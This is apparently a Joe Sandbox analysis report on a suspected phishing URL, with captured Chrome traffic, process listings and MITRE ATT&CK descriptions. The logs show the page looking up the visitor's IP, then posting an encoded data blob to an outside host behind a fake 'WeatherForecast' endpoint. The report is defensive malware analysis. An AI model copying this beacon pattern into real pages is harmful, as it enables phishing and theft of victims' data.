2025-03-14 09:08:50 UTC	431	IN	Data Raw: 39 39 65 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 33 36 20 33 36 22 3e 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 42 32 32 33 33 34 22 20 64 3d 22 4d 33 35 2e 34 34 35 20 37 43 33 34 2e 37 35 32 20 35 2e 38 30 39 20 33 33 2e 34 37 37 20 35 20 33 32 20 35 48 31 38 76 32 68 31 37 2e 34 34 35 7a 4d 30 20 32 35 68 33 36 76 32 48 30 7a 6d 31 38 2d 38 68 31 38 76 32 48 31 38 7a 6d 30 2d 34 68 31 38 76 32 48 31 38 7a 4d 30 20 32 31 68 33 36 76 32 48 30 7a 6d 34 20 31 30 68 32 38 63 31 2e 34 37 37 20 30 20 32 2e 37 35 32 2d 2e 38 30 39 20 33 2e 34 34 35 2d 32 48 2e 35 35 35 63 2e 36 39 33 20 31 2e 31 39 31 20 31 2e 39 36 38 20 32 20 33 2e 34 34 Data Ascii: 99e<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 36 36"><path fill="#B22334" d="M35.445 7C34.752 5.809 33.477 5 32 5H18v2h17.445zM0 25h36v2H0zm18-8h18v2H18zm0-4h18v2H18zM0 21h36v2H0zm4 10h28c1.477 0 2.752-.809 3.445-2H.555c.693 1.191 1.968 2 3.44
2025-03-14 09:08:50 UTC	1369	IN	Data Raw: 37 34 31 2e 30 33 34 2d 2e 30 39 39 2e 30 36 37 2d 2e 31 39 38 2e 30 39 33 2d 2e 33 30 31 2e 30 32 33 2d 2e 30 39 2e 30 34 32 2d 2e 31 38 32 2e 30 35 39 2d 2e 32 37 35 2e 30 34 31 2d 2e 32 32 2e 30 36 39 2d 2e 34 34 36 2e 30 36 39 2d 2e 36 37 39 48 30 63 30 20 2e 32 33 33 2e 30 32 38 2e 34 35 38 2e 30 36 38 2e 36 37 39 7a 4d 30 20 32 33 68 33 36 76 32 48 30 7a 6d 30 2d 34 76 32 68 33 36 76 2d 32 48 31 38 7a 6d 31 38 2d 34 68 31 38 76 32 48 31 38 7a 6d 30 2d 34 68 31 38 76 32 48 31 38 7a 4d 30 20 39 63 30 2d 2e 32 33 33 2e 30 33 2d 2e 34 35 37 2e 30 36 38 2d 2e 36 37 39 43 2e 30 32 38 20 38 2e 35 34 32 20 30 20 38 2e 37 36 37 20 30 20 39 7a 6d 2e 35 35 35 2d 32 6c 2d 2e 30 30 33 2e 30 30 35 4c 2e 35 35 35 20 37 7a 4d 2e 31 32 38 20 38 2e 30 34 34 63 2e 30 Data Ascii: 741.034-.099.067-.198.093-.301.023-.09.042-.182.059-.275.041-.22.069-.446.069-.679H0c0 .233.028.458.068.679zM0 23h36v2H0zm0-4v2h36v-2H18zm18-4h18v2H18zm0-4h18v2H18zM0 9c0-.233.03-.457.068-.679C.028 8.542 0 8.767 0 9zm.555-2l-.003.005L.555 7zM.128 8.044c.0
2025-03-14 09:08:50 UTC	669	IN	Data Raw: 2e 32 33 36 2e 37 32 35 2e 36 31 37 2d 2e 34 34 38 2e 36 31 38 2e 34 34 38 2d 2e 32 33 36 2d 2e 37 32 35 2e 36 31 38 2d 2e 34 34 39 68 2d 2e 37 36 34 4c 33 20 31 31 6c 2d 2e 32 33 35 2e 37 32 36 7a 4d 36 2e 33 38 33 20 31 32 2e 39 4c 37 20 31 32 2e 34 35 32 6c 2e 36 31 38 2e 34 34 38 2d 2e 32 33 36 2d 2e 37 32 35 2e 36 31 38 2d 2e 34 34 39 68 2d 2e 37 36 34 4c 37 20 31 31 6c 2d 2e 32 33 35 2e 37 32 36 68 2d 2e 37 36 34 6c 2e 36 31 38 2e 34 34 39 7a 6d 33 2e 36 31 38 2d 31 2e 31 37 34 6c 2e 36 31 38 2e 34 34 39 2d 2e 32 33 36 2e 37 32 35 2e 36 31 37 2d 2e 34 34 38 2e 36 31 38 2e 34 34 38 2d 2e 32 33 36 2d 2e 37 32 35 2e 36 31 38 2d 2e 34 34 39 68 2d 2e 37 36 34 4c 31 31 20 31 31 6c 2d 2e 32 33 35 2e 37 32 36 7a 6d 34 20 30 6c 2e 36 31 38 2e 34 34 39 2d 2e Data Ascii: .236.725.617-.448.618.448-.236-.725.618-.449h-.764L3 11l-.235.726zM6.383 12.9L7 12.452l.618.448-.236-.725.618-.449h-.764L7 11l-.235.726h-.764l.618.449zm3.618-1.174l.618.449-.236.725.617-.448.618.448-.236-.725.618-.449h-.764L11 11l-.235.726zm4 0l.618.449-.
2025-03-14 09:08:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49768	104.26.9.44	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-14 09:08:49 UTC	374	OUT	GET /ip HTTP/1.1 Host: ipapi.co Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 09:08:50 UTC	928	IN	HTTP/1.1 200 OK Date: Fri, 14 Mar 2025 09:08:49 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 12 Connection: close Allow: GET, POST, OPTIONS, OPTIONS, HEAD X-Frame-Options: DENY Vary: Host, origin X-Content-Type-Options: nosniff Referrer-Policy: same-origin Cross-Origin-Opener-Policy: same-origin cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=L6b2Sehw0CdYO4%2By8SwIcx6tj0VpKtwqzdox9oKA3dr9yeQJ7KbJ%2BRNfPfqgB42AYyX9Ivcv%2F%2FpOpmPRB91mCeqIXeiF8x2VA1AJ92I09SJm22u5%2BL4lsa4G"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9202a0f21a0b0cac-EWR server-timing: cfL4;desc="?proto=TCP&rtt=2924&min_rtt=1624&rtt_var=3209&sent=3&recv=6&lost=0&retrans=0&sent_bytes=139&recv_bytes=908&delivery_rate=121403&cwnd=208&unsent_bytes=0&cid=fbb9432bdb261eaa&ts=225&x=0"
2025-03-14 09:08:50 UTC	12	IN	Data Raw: 38 2e 34 36 2e 31 32 33 2e 31 38 39 Data Ascii: 8.46.123.189

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49769	104.21.64.1	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-14 09:08:51 UTC	583	OUT	OPTIONS /WeatherForecast HTTP/1.1 Host: pickoutsourcing.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type Origin: https://case-id-1000228259003.counselschambers.co.uk User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Referer: https://case-id-1000228259003.counselschambers.co.uk/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 09:08:52 UTC	867	IN	HTTP/1.1 204 No Content Date: Fri, 14 Mar 2025 09:08:52 GMT Connection: close Access-Control-Allow-Origin: * Access-Control-Allow-Headers: content-type Access-Control-Allow-Methods: POST X-Powered-By: ASP.NET cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=y4EausqgNpCQT7R16fDfoH5NJVcRZIlpFB4GHv7FMY7yCuLkUgMtdcr0OZt86FTtcTZRwROo%2FnQHjBnUgxnwO02D2%2F%2BHztLsBfqGRWBzDxUFNi%2FDVnvcIRrIYTFUOcr49g3uzpaS"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9202a0ff3d4242db-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1656&min_rtt=1651&rtt_var=623&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2823&recv_bytes=1155&delivery_rate=1768625&cwnd=225&unsent_bytes=0&cid=6bd92e7df92fda35&ts=431&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49770	104.21.64.1	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-14 09:08:52 UTC	738	OUT	POST /WeatherForecast HTTP/1.1 Host: pickoutsourcing.com Connection: keep-alive Content-Length: 75 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: application/json, text/javascript, /; q=0.01 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: application/json; charset=UTF-8 sec-ch-ua-mobile: ?0 Origin: https://case-id-1000228259003.counselschambers.co.uk Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://case-id-1000228259003.counselschambers.co.uk/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 09:08:52 UTC	75	OUT	Data Raw: 7b 22 64 61 74 61 22 3a 22 67 6f 63 45 68 6f 2b 4c 2b 67 73 68 73 59 64 43 55 52 50 50 4f 71 4b 30 4d 38 2f 6e 56 76 6d 59 46 70 4f 53 4a 4f 36 57 58 74 44 77 74 36 49 4f 63 4d 6a 46 65 77 4a 6d 42 45 7a 47 47 4e 31 4f 22 7d Data Ascii: {"data":"gocEho+L+gshsYdCURPPOqK0M8/nVvmYFpOSJO6WXtDwt6IOcMjFewJmBEzGGN1O"}
2025-03-14 09:08:53 UTC	873	IN	HTTP/1.1 200 OK Date: Fri, 14 Mar 2025 09:08:53 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Access-Control-Allow-Origin: * X-Powered-By: ASP.NET cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=164hOXDb56ya8myFaOQBS%2Fl4yrPwj5F1se6CucC4hJY8tEnwY1yEJjUFiBbiatU53Xw7ibqQ%2FWmYdBDNuK1TzBFLXVhQh%2FLGopYMtbi%2FvzV8Z9Kp7kZBacA8r2w5nBmHwjUf%2FGVC"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9202a105bcb2b734-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2052&min_rtt=2044&rtt_var=783&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2822&recv_bytes=1407&delivery_rate=1382575&cwnd=119&unsent_bytes=0&cid=9a889a458091f530&ts=561&x=0"
2025-03-14 09:08:53 UTC	13	IN	Data Raw: 38 0d 0a 52 6b 46 4a 54 41 3d 3d 0d 0a Data Ascii: 8RkFJTA==
2025-03-14 09:08:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49771	104.21.16.1	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-14 09:08:53 UTC	398	OUT	GET /WeatherForecast HTTP/1.1 Host: pickoutsourcing.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 09:08:54 UTC	839	IN	HTTP/1.1 400 Bad Request Date: Fri, 14 Mar 2025 09:08:53 GMT Content-Type: application/problem+json; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: ASP.NET cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lSUgveIgKoLwzw2aFSx0HR5By9S1%2BawLdUH2y4wm7CPk3c%2FZXvtX17Rdcdb%2BzErkP5NAZJ7ZBo6Lm6wvu%2Bg2U6QxYukx5PxkPdqWMP%2Fj1tu8mwyORhioWKXWiK2lka5KwvXloQM5"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9202a10b9e86590b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2042&min_rtt=2041&rtt_var=769&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2823&recv_bytes=970&delivery_rate=1420924&cwnd=83&unsent_bytes=0&cid=c23cb92effbe96e3&ts=423&x=0"
2025-03-14 09:08:54 UTC	254	IN	Data Raw: 66 38 0d 0a 7b 22 74 79 70 65 22 3a 22 68 74 74 70 73 3a 2f 2f 74 6f 6f 6c 73 2e 69 65 74 66 2e 6f 72 67 2f 68 74 6d 6c 2f 72 66 63 39 31 31 30 23 73 65 63 74 69 6f 6e 2d 31 35 2e 35 2e 31 22 2c 22 74 69 74 6c 65 22 3a 22 4f 6e 65 20 6f 72 20 6d 6f 72 65 20 76 61 6c 69 64 61 74 69 6f 6e 20 65 72 72 6f 72 73 20 6f 63 63 75 72 72 65 64 2e 22 2c 22 73 74 61 74 75 73 22 3a 34 30 30 2c 22 65 72 72 6f 72 73 22 3a 7b 22 77 65 61 74 68 65 72 22 3a 5b 22 54 68 65 20 77 65 61 74 68 65 72 20 66 69 65 6c 64 20 69 73 20 72 65 71 75 69 72 65 64 2e 22 5d 7d 2c 22 74 72 61 63 65 49 64 22 3a 22 30 30 2d 64 66 64 36 37 30 64 35 32 65 65 35 38 61 66 62 36 35 35 32 61 37 64 38 39 38 62 63 61 63 66 39 2d 38 62 65 61 63 33 65 66 66 37 61 61 64 61 38 61 2d 30 30 22 7d 0d 0a Data Ascii: f8{"type":"https://tools.ietf.org/html/rfc9110#section-15.5.1","title":"One or more validation errors occurred.","status":400,"errors":{"weather":["The weather field is required."]},"traceId":"00-dfd670d52ee58afb6552a7d898bcacf9-8beac3eff7aada8a-00"}
2025-03-14 09:08:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49781	35.190.80.1	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-14 09:09:40 UTC	552	OUT	OPTIONS /report/v4?s=lSUgveIgKoLwzw2aFSx0HR5By9S1%2BawLdUH2y4wm7CPk3c%2FZXvtX17Rdcdb%2BzErkP5NAZJ7ZBo6Lm6wvu%2Bg2U6QxYukx5PxkPdqWMP%2Fj1tu8mwyORhioWKXWiK2lka5KwvXloQM5 HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://pickoutsourcing.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 09:09:40 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: POST, OPTIONS access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Fri, 14 Mar 2025 09:09:40 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49782	35.190.80.1	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-14 09:09:41 UTC	527	OUT	POST /report/v4?s=lSUgveIgKoLwzw2aFSx0HR5By9S1%2BawLdUH2y4wm7CPk3c%2FZXvtX17Rdcdb%2BzErkP5NAZJ7ZBo6Lm6wvu%2Bg2U6QxYukx5PxkPdqWMP%2Fj1tu8mwyORhioWKXWiK2lka5KwvXloQM5 HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 406 Content-Type: application/reports+json Origin: https://pickoutsourcing.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 09:09:41 UTC	406	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 34 36 33 30 37 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 39 30 33 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 30 34 2e 32 31 2e 31 36 2e 31 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 30 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 70 69 63 6b 6f 75 74 73 6f 75 72 63 69 6e Data Ascii: [{"age":46307,"body":{"elapsed_time":903,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"","sampling_fraction":1.0,"server_ip":"104.21.16.1","status_code":400,"type":"http.error"},"type":"network-error","url":"https://pickoutsourcin
2025-03-14 09:09:41 UTC	214	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-allow-origin: * vary: Origin date: Fri, 14 Mar 2025 09:09:41 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Target ID:	1
Start time:	05:08:17
Start date:	14/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff786830000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	05:08:20
Start date:	14/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1900,i,6205956424128409629,15682389444438876750,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2108 /prefetch:3
Imagebase:	0x7ff786830000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	05:08:28
Start date:	14/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "http://case-id-1000228259003.counselschambers.co.uk/"
Imagebase:	0x7ff786830000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report http://case-id-1000228259003.counselschambers.co.uk/

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 74

Chrome Cache Entry: 75

Chrome Cache Entry: 76

Chrome Cache Entry: 77

Chrome Cache Entry: 78

Chrome Cache Entry: 79

Chrome Cache Entry: 80

Chrome Cache Entry: 81

Chrome Cache Entry: 82

Chrome Cache Entry: 83

Chrome Cache Entry: 84

Chrome Cache Entry: 85

Chrome Cache Entry: 86

Chrome Cache Entry: 87

Chrome Cache Entry: 88

Chrome Cache Entry: 89

Chrome Cache Entry: 90

Chrome Cache Entry: 91

Chrome Cache Entry: 92

Chrome Cache Entry: 93

Chrome Cache Entry: 94

Chrome Cache Entry: 95

Chrome Cache Entry: 96

Chrome Cache Entry: 97

Chrome Cache Entry: 98

Static File Info

Network Behavior

Network Port Distribution

Windows Analysis Report
http://case-id-1000228259003.counselschambers.co.uk/